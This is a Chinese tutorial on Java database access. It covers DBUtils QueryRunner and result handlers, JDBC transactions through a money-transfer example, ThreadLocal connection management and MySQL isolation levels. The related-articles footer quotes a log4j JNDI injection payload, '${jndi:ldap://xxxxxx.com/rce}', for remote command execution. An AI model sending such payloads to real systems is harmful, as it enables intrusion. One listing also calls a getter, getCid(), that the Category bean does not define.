学习大数据之JDBC(使用JAVA语句进行SQL操作)(3)

文章目录

  • DBUtils工具包
    • 准备工作
    • DBUtils的介绍
    • QueryRunner
      • 空参的QueryRunner的介绍以及使用
      • 有参QueryRunner的介绍以及使用
    • ResultSetHandler结果集
      • BeanHandler<T>
      • BeanListHandler<T>
      • ScalarHander
      • ColumnListHander
  • 事务
    • 事务
      • 事务_转账分析图
      • 实现转账(不加事务)
      • 事务的介绍
      • DButils实现转账(添加事务)
      • mysql中操作事务
      • 分层思想介绍以及框架搭建
        • 转账_表现层实现
        • 转账_服务层实现
        • 转账_持久层实现
    • ThreadLocal
      • ThreadLocal基本使用和原理
      • 连接池对象管理类(小秘书)
    • 事务的特性以及隔离级别
      • 事务特性ACID
      • 并发访问问题
      • 隔离级别:解决问题
      • 演示

DBUtils工具包

准备工作

在这里插入图片描述

DBUtils的介绍

1.概述:简化jdbc开发的工具
2.三大核心对象
QueryRunner 执行sql
ResultSetHandler:处理结果集
DBUtils类: 主要用于事务管理,关闭资源等

QueryRunner

空参的QueryRunner的介绍以及使用

1.构造:QuerryRunner()
2.特点:
连接对象需要我们自己维护,自己关闭
3.方法
int update(Connection conn, String sql, Object… params)-> 针对于增删改
conn:连接对象
sql:sql语句->支持?占位符
params:为?赋值->可变参数
第一个值自动匹配sql语句中的第一个?以此类推
query(Connection conn, String sql, ResultSetHandler rsh, Object… params)->针对查询

public class test04 {public static void main(String[] args) throws SQLException {QueryRunner queryRunner = new QueryRunner();Connection conn = DruidUtils.getConn();String sql = "insert into category(cname) values(?);";queryRunner.update(conn,sql,"服装");DruidUtils.close(conn,null,null);}
}

有参QueryRunner的介绍以及使用

1.构造:QueryRunner(DataSource ds)
2.特点:
Connection连接对象,不用我们自己管理,全部交由连接池管理
3.方法:
int update(String sql, Object… params)-> 针对于增删改
sql:sql语句->支持?占位符
params:为?赋值->可变参数
第一个值自动匹配sql语句中的第一个?以此类推
query(String sql, ResultSetHandler rsh, Object… params)->针对查询
代码示例

ResultSetHandler结果集

在这里插入图片描述

BeanHandler

1.作用:将查询出来的结果集中的第一行数据封装成javabean对象
2.方法
query(String sql, ResultSetHandler rsh, Object… params)>有参QueryRunner时使用
query(Connection conn, String sql, ResultSetHandler rsh, Object… params)->空参QueryRunner时使用
3.构造
BeanHandler(class type)
传递的是class对象其实就是我们想要封装的javabean类的class对象
将想查询出来的数据封装成哪个Javabean对象,就写哪个javabean的class对象
4.怎么理解
将查询出来的数据为javabean中的成员变量赋值

@Testpublic void beanHandler() throws SQLException {QueryRunner queryRunner = new QueryRunner(DruidUtils.getDataSource());Category category = queryRunner.query("select * from category",new BeanHandler<>(Category.class));System.out.println("category = " + category);}

注意在写之前需要创建一个javabean对象

public class Category {private int id;private String cname;public Category() {}public Category(int id, String cname) {this.id = id;this.cname = cname;}public int getId() {return id;}public void setId(int id) {this.id = id;}public String getCname() {return cname;}public void setCname(String cname) {this.cname = cname;}
}

BeanListHandler

1.作用 将查询出来的结果每一条数据都封装成一个个的javabean对象,将这些javabean对象放到list集合中
2.构造
BeanListHandler(Class type)
传递的是class对象其实就是我们想要封装的javabean类的class对象
想将查询出来的数据封装成哪个javabean对象,就写哪个javabean的class对象
3.怎么理解“
将查询出来的多条数据封装成多个javabean对象,将多个javabean对象放到list集合中

public void beanListHandler() throws SQLException {QueryRunner queryRunner = new QueryRunner(DruidUtils.getDataSource());List<Category> list = queryRunner.query("select * from category",new BeanListHandler<>(Category.class));for (Category category : list) {System.out.println(category.getCid());}}

ScalarHander

1.作用:主要是用于处理单值的查询结果,执行的select语句,结果集只有一个
2.构造:
ScalarHandler(int columnIndex)->不常用->指定第几列
ScalarHandler(String columnName)->不常用->指定列名
ScalarHandler()->常用
3.注意:
ScalarHander和聚合函数使用更有意义

 public void scalarhander() throws SQLException {QueryRunner queryRunner = new QueryRunner(DruidUtils.getDataSource());Object o1 = queryRunner.query("select * from category;", new ScalarHandler<>(2));Object o2 = queryRunner.query("select * from category;", new ScalarHandler<>("cname"));Object o3 = queryRunner.query("select * from category;", new ScalarHandler<>());System.out.println(o1);System.out.println(o2);System.out.println(o3);}

ColumnListHander

1.作用 将查询出来的结果中的某一列数据,存储到list集合中
2.构造:
ColumnListHandler(int columnIndex)->指定第几列
ColumnListHandler(String columnName)->指定列名
ColumnListHandler()-> 默认显示查询结果中的第一列数据
3.注意:
ColumnListHandler可以指定泛型类型,如果不指定,返回的list泛型就是object类型

 public void columnListHandler() throws SQLException {QueryRunner queryRunner = new QueryRunner(DruidUtils.getDataSource());List<Object> query = queryRunner.query("select * from category;", new ColumnListHandler<>(2));List<Object> query_1 = queryRunner.query("select * from category;", new ColumnListHandler<>());for (Object o : query) {System.out.println(o);}}

事务

事务

事务_转账分析图

在这里插入图片描述
建表

CREATE TABLE account(`name` VARCHAR(20),money INT
);

实现转账(不加事务)

public class test01 {public static void main(String[] args) {QueryRunner queryRunner = new QueryRunner();Connection conn = DruidUtils.getConn();String outMoney = "update account set money = money - 1000 where name = ?";String inputMoney = "update account set money = money + 1000 where name = ?";try {queryRunner.update(conn,outMoney,"王也");queryRunner.update(conn,inputMoney,"张楚岚");} catch (SQLException e) {e.printStackTrace();}finally {DruidUtils.close(conn,null,null);}}
}

事务的介绍

1.事务:是管理多条sql语句的一个形式,可以将多条sql看成是一组操作,是的这一组操作要么全成功,要么全失败,mysql自带事务,带式mysql的事务一次只能管理一条sql,我们需要关闭sql的自带事务,开启手动事务
2.事务操作:Connection中的方法
a.void setAutoCommit(boolean autoCommit) -> 开启手动事务
autoCommit:false -> 代表关闭mysql自带事务,开启手动事务
b.void commit()-> 提交事务 -> 如果事务一旦提交,数据将永久保存,不可逆
c.void rollback()->回滚事务-> 如果事务回滚,数据将还原到上一次改变前的数据
3.注意
如果想让事务管理多条sql语句,那么sql之间用的连接或者说事务操作作用的连接对象必须是同一条连接对象

DButils实现转账(添加事务)

相关代码块

public class test02 {public static void main(String[] args) throws SQLException {QueryRunner queryRunner = new QueryRunner();java.sql.Connection conn1 = null;try {conn1 = DruidUtils.getConn();System.out.println(conn1);//开启事务conn1.setAutoCommit(false);String outputmoney = "update account set money = money - 1000 where name = ?";String inputmoney = "update account set money = money + 1000 where name = ?";queryRunner.update(conn1, outputmoney, "王也");queryRunner.update(conn1, inputmoney, "张楚岚");//提交事务conn1.commit();System.out.println("转账成功");}catch (Exception e){//回滚事务try {conn1.rollback();System.out.println("转账失败");}catch (SQLException ex){ex.printStackTrace();}e.printStackTrace();}finally {//关闭资源DruidUtils.close(conn1,null,null);}}
}

mysql中操作事务

1.开启事务
begin
2.提交事务
commit
3.回滚事务
rollback

#开启事务
BEGIN;
update account set money = money - 1000 where name = "王也";
update account set money = money + 1000 where name = "张楚岚";
#提交事务
COMMIT;
#回滚事务
ROLLBACK;

分层思想介绍以及框架搭建

1.表现层(web层) 和页面打交道 ---- 接收请求,回响应
2.业务层(service层) 写业务的,做计算
3.持久层(dao层) 和数据库打交道—对数据库的数据进行增删改查
在这里插入图片描述
创建package ---- 公司域名倒着写,都是小写
在这里插入图片描述

转账_表现层实现
public class AccountController {public static void main(String[] args) {//创建scannerScanner scanner = new Scanner(System.in);System.out.println("请你输入要出钱的人");String outname = scanner.next();System.out.println("请你输入要收钱的人");String inname = scanner.next();System.out.println("请输入转账金额");int money = scanner.nextInt();//将输入的三个数据传递到service层AccountService accountService = new AccountService();accountService.transfer(outname,inname,money);}
}
转账_服务层实现
public class AccountService {public void transfer(String outname,String inname,int money){AccountDao accountDao = new AccountDao();Connection conn = DruidUtils.getConn();//开启事务try {conn.setAutoCommit(false);accountDao.outmoney(conn,outname,money);accountDao.inmoney(conn,inname,money);//提交事务conn.commit();System.out.println("转账成功");} catch (Exception e) {try {conn.rollback();System.out.println("转账失败");} catch (SQLException ex) {ex.printStackTrace();}e.printStackTrace();}finally {DruidUtils.close(conn,null,null);}}
}
转账_持久层实现
public class AccountDao {public void outmoney(Connection conn,String outname,int money) throws SQLException {QueryRunner queryRunner = new QueryRunner();String sql = "update account set money = money - ? where name = ?";queryRunner.update(conn,sql,money,outname);}public void inmoney(Connection conn,String inname,int money) throws SQLException {QueryRunner queryRunner = new QueryRunner();String sql = "update account set money = money + ? where name = ?";queryRunner.update(conn,sql,money,inname);}
}

1.为什么要分层写代码?
a.减低耦合度
b.每层只干自己的事儿,别的层的事儿我不干,好维护
2.考虑问题:
1.问题1:service层中干了从数据库连接池中获取连接对象,也干了事务操作;但是service不应该干这些事儿
service其实只干业务逻辑判断,业务处理
2.问题2:如果不在service层获取连接对象,那么怎么传递到dao层呢?又怎么保证service和dao层中的连接对象是同一个呢?如果不是同一个,事务管理也就废废了

3.问题解决:给service和dao层面试一个"小秘书",获取连接,事务操作,都让"小秘书"干
同时还要保证service和dao使用的连接是同一条连接

ThreadLocal

ThreadLocal基本使用和原理

1.ThreadLocal:线程管理类
2.创建:
ThreadLocal 名字 = new ThreadLocal()
3.方法:
set(数据) – 往ThreadLocal中存储数据
get() — 获取数据
4.特点
a.ThreadLocal中一次只能存储一个数据,后米的数据会把前面的数据覆盖掉
b.一个线程往ThreadLocal中存储的数据,其他线程获取不到
c.ThreadLocal底层操作了Map,key为当前正在执行的线程对象,value为我们存储的数据
当我一存,值就会和当前前程绑死,也就是说值指数已当前线程对象,其他线程对象拿不到
在这里插入图片描述

public class Demo01ThreadLocal {public static void main(String[] args) {ThreadLocal<String> threadLocal = new ThreadLocal<>();threadLocal.set("王也");System.out.println(threadLocal.get());}
}

连接池对象管理类(小秘书)

代码实现

public class ConnectionManager {private static  ThreadLocal<Connection> t1 = new ThreadLocal<Connection>();/** 从连接池中获取连接对象,放到ThreadLocal中* 然后从ThreadLocal中再拿出要使用的连接对象* */public static Connection getconn(){//先从ThreadLocal中获取连接对象Connection conn = t1.get();if (conn == null){//从连接池中获取连接对象conn = DruidUtils.getConn();t1.set(conn);}return conn;}//开启事务public static void begin(){try {getconn().setAutoCommit(false);} catch (SQLException e) {e.printStackTrace();}}//提交事务public static void commit(){try {getconn().commit();} catch (SQLException e) {e.printStackTrace();}}//回滚事务public static void back(){try {getconn().rollback();} catch (SQLException e) {e.printStackTrace();}}//关闭连接public static void close(){try {getconn().close();} catch (SQLException e) {e.printStackTrace();}}
}

事务的特性以及隔离级别

事务特性ACID

1.原子性(atomicity)原子性是指事务是一个不可分割的工作单位,事务中的操作要么都发生,要么都不发生。
2.一致性(Consistency)事务前后数据的完整性必须保持一致。
3.隔离性(Isolation)事务的隔离性是指多个用户并发访问数据库时,一个用户的事务不能被其它用户的事务所干扰,多个并发事务之间数据要相互隔离,正常情况下数据库是做不到这一点的,可以设置隔离级别,但是效率会非常低。
4.持久性(Durability)持久性是指一个事务一旦被提交,它对数据库中数据的改变就是永久性的,接下来即使数据库发生故障也不应该对其有任何影响。

并发访问问题

如果不考虑隔离性,事务存在3中并发访问问题

  1. 脏读:一个事务读到了另一个事务未提交的数据.
  2. 不可重复读:一个事务读到了另一个事务已经提交(update)的数据。引发另一个事务,在事务中的多次查询结果不一致。
  3. 虚读 /幻读:一个事务读到了另一个事务已经提交(insert)的数据。导致另一个事务,在事务中多次查询的结果不一致。

隔离级别:解决问题

数据库规定了四种隔离级别,分别用于描述两个事务并发的所用情况

  1. read uncommitted 读未提交,一个事务读到另一个事务没有提交的数据。
    a)存在:3个问题(脏读、不可重复读、虚读)。
    b)解决:0个问题
  2. read committed 读已提交,一个事务读到另一个事务已经提交的数据。
    a)存在:2个问题(不可重复读、虚读)。
    b)解决:1个问题(脏读)
  3. repeatable read:可重复读,在一个事务中读到的数据始终保持一致,无论另一个事务是否提交。
    a)存在:1个问题(虚读)。
    b)解决:2个问题(脏读、不可重复读)
    4.serializable 串行化,同时只能执行一个事务,相当于事务中的单线程。
    a)存在:0个问题。
    b)解决:3个问题(脏读、不可重复读、虚读)
    安全和性能对比
    安全性:serializable > repeatable read > read committed > read uncommitted
    性能 : serializable < repeatable read < read committed < read uncommitted
    常见数据库的默认隔离级别:
  • MySql:repeatable read
  • Oracle:read committed

演示

查询数据库的隔离级别

show variables like '%isolation%';
select @@tx_isolation;

设置数据库的隔离级别

  • set session transactionisolation level 级别字符串

  • 级别字符串:readuncommittedread committedrepeatable readserializable

  • 例如:set session transaction isolation level read uncommitted;
    读未提交:readuncommitted

  • A窗口设置隔离级别

    • AB同时开始事务
    • A 查询
    • B 更新,但不提交
    • A 再查询?-- 查询到了未提交的数据
    • B 回滚
    • A 再查询?-- 查询到事务开始前数据
  • 读已提交:read committed

    • A窗口设置隔离级别
      • AB同时开启事务
      • A查询
      • B更新、但不提交
      • A再查询?–数据不变,解决问题【脏读】
      • B提交
      • A再查询?–数据改变,存在问题【不可重复读】
  • 可重复读:repeatable read

    • A窗口设置隔离级别
      • AB 同时开启事务
      • A查询
      • B更新, 但不提交
      • A再查询?–数据不变,解决问题【脏读】
      • B提交
      • A再查询?–数据不变,解决问题【不可重复读】
      • A提交或回滚
      • A再查询?–数据改变,另一个事务
  • 串行化:serializable

    • A窗口设置隔离级别
    • AB同时开启事务
    • A查询
      • B更新?–等待(如果A没有进一步操作,B将等待超时)
      • A回滚
      • B 窗口?–等待结束,可以进行操作
        总结:
        我们最理想的状态是:一个事务和其他事务互不影响
        但是如果不考虑隔离级别的话,就会出现多个事务之间互相影响
        而事务互相影响的表现方式为:
        脏读
        不可重复读
        虚读/幻读

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797679.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cypress自动化测试开发指南!

cypress是基于JavaScript语言为编写语言的自动化测试开发工具&#xff0c;配合使用cucumber测试开发框架&#xff0c;以node.js为服务进程&#xff0c;可以简单的帮助测试人员完成需要人工手点的所有页面人机交互操作&#xff0c;可以模拟键盘和鼠标输入&#xff0c;快捷完成ca…

【XCPC笔记】2023 (ICPC) Jiangxi Provincial Contest——ABCHIJKL 做题记录

赛后gym练习及补题&#xff0c;gym链接&#xff1a;2023 (ICPC) Jiangxi Provincial Contest – Official Contest 补题顺序 L [Zhang Fei Threading Needles - Thick with Fine](https://codeforces.com/gym/104385/problem/L)题面解读参考代码 A [Drill Wood to Make Fire](h…

代码随想录算法训练营Day42|LC416 分割等和子集

一句话总结&#xff1a;背包问题。 原题链接&#xff1a;416 分割等和子集 拿到题先明确这是动态规划的题&#xff0c;具体类型是01背包问题。到了题目解法这里&#xff0c;首先判断数组加和是否为偶数&#xff0c;否则return false。然后就是01背包问题的解题思路了。具体地&…

LeetCode-热题100:118. 杨辉三角

题目描述 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]] 示例 2: 输入: numRows 1 输出: [[1]]…

The Sandbox:在NFT Paris 2024引领数字文艺复兴

我们的欧洲、中东和非洲&#xff08;EMEA&#xff09;总部位于法国巴黎&#xff0c;我们的创始人也是土生土长的法国人&#xff0c;因此 The Sandbox 一直与 "光之城 "有着紧密的联系。近年来&#xff0c;巴黎日益成为 Web3 创新的中心&#xff0c;NFT 艺术氛围日益浓…

宏的使用(C语言详解)

在写一个代码生成可执行文件的过程需要经过编译和链接&#xff0c;编译又要经过三部&#xff1a;预处理&#xff0c;编译&#xff0c;汇编。 #define定义的变量和宏就是在预处理阶段会处理的。 一个简单的宏定义&#xff1a; #include<stdio.h>; #define Max(a,b) a>…

计算机毕业设计选题之基于SSM的旅游管理系统【源码+PPT+文档+包运行成功+部署讲解】

&#x1f493;项目咨询获取源码联系v&#x1f493;xiaowan1860&#x1f493; &#x1f6a9;如何选题&#xff1f;&#x1f351; 对于项目设计中如何选题、让题目的难度在可控范围&#xff0c;以及如何在选题过程以及整个毕设过程中如何与老师沟通&#xff0c;有疑问不清晰的可…

SpringCloud Hystrix 服务熔断、服务降级防止服务雪崩

文章目录 SpringCloud Hystrix 熔断器、服务降级防止服务雪崩需求背景引入依赖启动类加Hystrix注解接口配置熔断常规配置超时断开错误率熔断请求数熔断限流 全局配置可配置项HystrixCommand.Setter参数Command Properties 服务降级 SpringCloud Hystrix 熔断器、服务降级防止服…

反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势&#xff0c;以简化并改进微型光学感测器的设计。 反射感测器是设计微型光电开关的得力助手。它们精巧直观&#xff0c;可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面&#xff0c;当手指或其他物体接触镜盖表面时&a…

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写&#xff1a;&#xff08;ppt尽量好看点&#xff0c;放图&#xff08;流畅图&#xff0c;时序图放一放&#xff09;&#xff0c;少字&#xff0c;&#xff09; 总结&#xff1a;&#xff08;这样给人体验感要好&#xff0c;语言、逻辑清晰&#xff09; 1…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…